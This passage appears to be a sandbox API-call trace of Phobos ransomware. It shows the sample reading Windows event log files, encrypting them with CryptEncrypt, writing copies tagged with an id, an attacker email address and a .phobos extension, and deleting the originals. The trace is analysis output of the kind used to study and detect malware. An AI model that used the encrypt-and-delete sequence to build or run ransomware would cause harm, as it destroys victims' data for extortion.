(normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0056.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\internet explorer.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.900] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.900] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0056.900] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0056.900] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\internet explorer.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.900] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcad0) returned 1 [0056.900] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0056.900] ReadFile (in: hFile=0x31c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0056.912] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0056.912] WriteFile (in: hFile=0x32c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0056.914] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc610) returned 1 [0056.914] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0056.914] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0056.914] CryptDestroyKey (hKey=0x10dc610) returned 1 [0056.914] WriteFile (in: hFile=0x32c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0056.914] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0056.914] CloseHandle (hObject=0x31c) returned 1 [0056.914] CloseHandle (hObject=0x32c) returned 1 [0056.918] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0056.920] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.920] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.920] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0056.920] CloseHandle (hObject=0x334) returned 1 [0056.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0056.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.920] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.920] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0056.920] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0056.920] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.920] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcad0) returned 1 [0056.920] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0056.920] ReadFile (in: hFile=0x334, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0056.957] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0056.957] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0056.959] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb10) returned 1 [0056.959] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0056.959] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0056.959] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0056.959] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0056.959] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0056.959] CloseHandle (hObject=0x334) returned 1 [0056.959] CloseHandle (hObject=0x304) returned 1 [0056.962] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0056.963] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.963] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.982] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0056.982] CloseHandle (hObject=0x304) returned 1 [0056.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0056.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.983] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.983] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0056.983] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0056.983] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0057.154] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcb90) returned 1 [0057.154] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.154] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0057.219] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0057.219] WriteFile (in: hFile=0x32c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0057.221] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcc10) returned 1 [0057.221] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.221] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xc0, dwBufLen=0xc0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xc0) returned 1 [0057.221] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0057.221] WriteFile (in: hFile=0x32c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x172, lpOverlapped=0x0) returned 1 [0057.221] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0057.221] CloseHandle (hObject=0x304) returned 1 [0057.221] CloseHandle (hObject=0x32c) returned 1 [0057.223] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0057.224] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0057.224] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0057.224] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0057.224] CloseHandle (hObject=0x32c) returned 1 [0057.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0057.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.225] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0057.225] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.225] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.225] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.237] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc6d0) returned 1 [0057.237] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.237] ReadFile (in: hFile=0x32c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0057.289] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0057.289] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0057.291] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb10) returned 1 [0057.291] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.291] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0057.291] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0057.291] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0057.291] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0057.291] CloseHandle (hObject=0x32c) returned 1 [0057.291] CloseHandle (hObject=0x304) returned 1 [0057.293] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0057.295] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0057.295] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.295] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0057.295] CloseHandle (hObject=0x304) returned 1 [0057.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0057.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.295] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.295] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.295] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.295] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0057.296] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc810) returned 1 [0057.296] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.296] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0057.305] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0057.306] WriteFile (in: hFile=0x32c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0057.307] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc690) returned 1 [0057.307] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.307] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0057.307] CryptDestroyKey (hKey=0x10dc690) returned 1 [0057.307] WriteFile (in: hFile=0x32c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0057.307] CryptDestroyKey (hKey=0x10dc810) returned 1 [0057.307] CloseHandle (hObject=0x304) returned 1 [0057.307] CloseHandle (hObject=0x32c) returned 1 [0057.309] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0057.310] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0057.310] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0057.310] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0057.310] CloseHandle (hObject=0x32c) returned 1 [0057.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0057.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.311] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0057.311] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.311] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.311] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.311] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcc50) returned 1 [0057.311] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.311] ReadFile (in: hFile=0x32c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0057.326] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0057.326] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0057.327] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc6d0) returned 1 [0057.327] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.327] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xa0, dwBufLen=0xa0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xa0) returned 1 [0057.328] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0057.328] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x152, lpOverlapped=0x0) returned 1 [0057.328] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0057.328] CloseHandle (hObject=0x32c) returned 1 [0057.328] CloseHandle (hObject=0x304) returned 1 [0057.334] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: 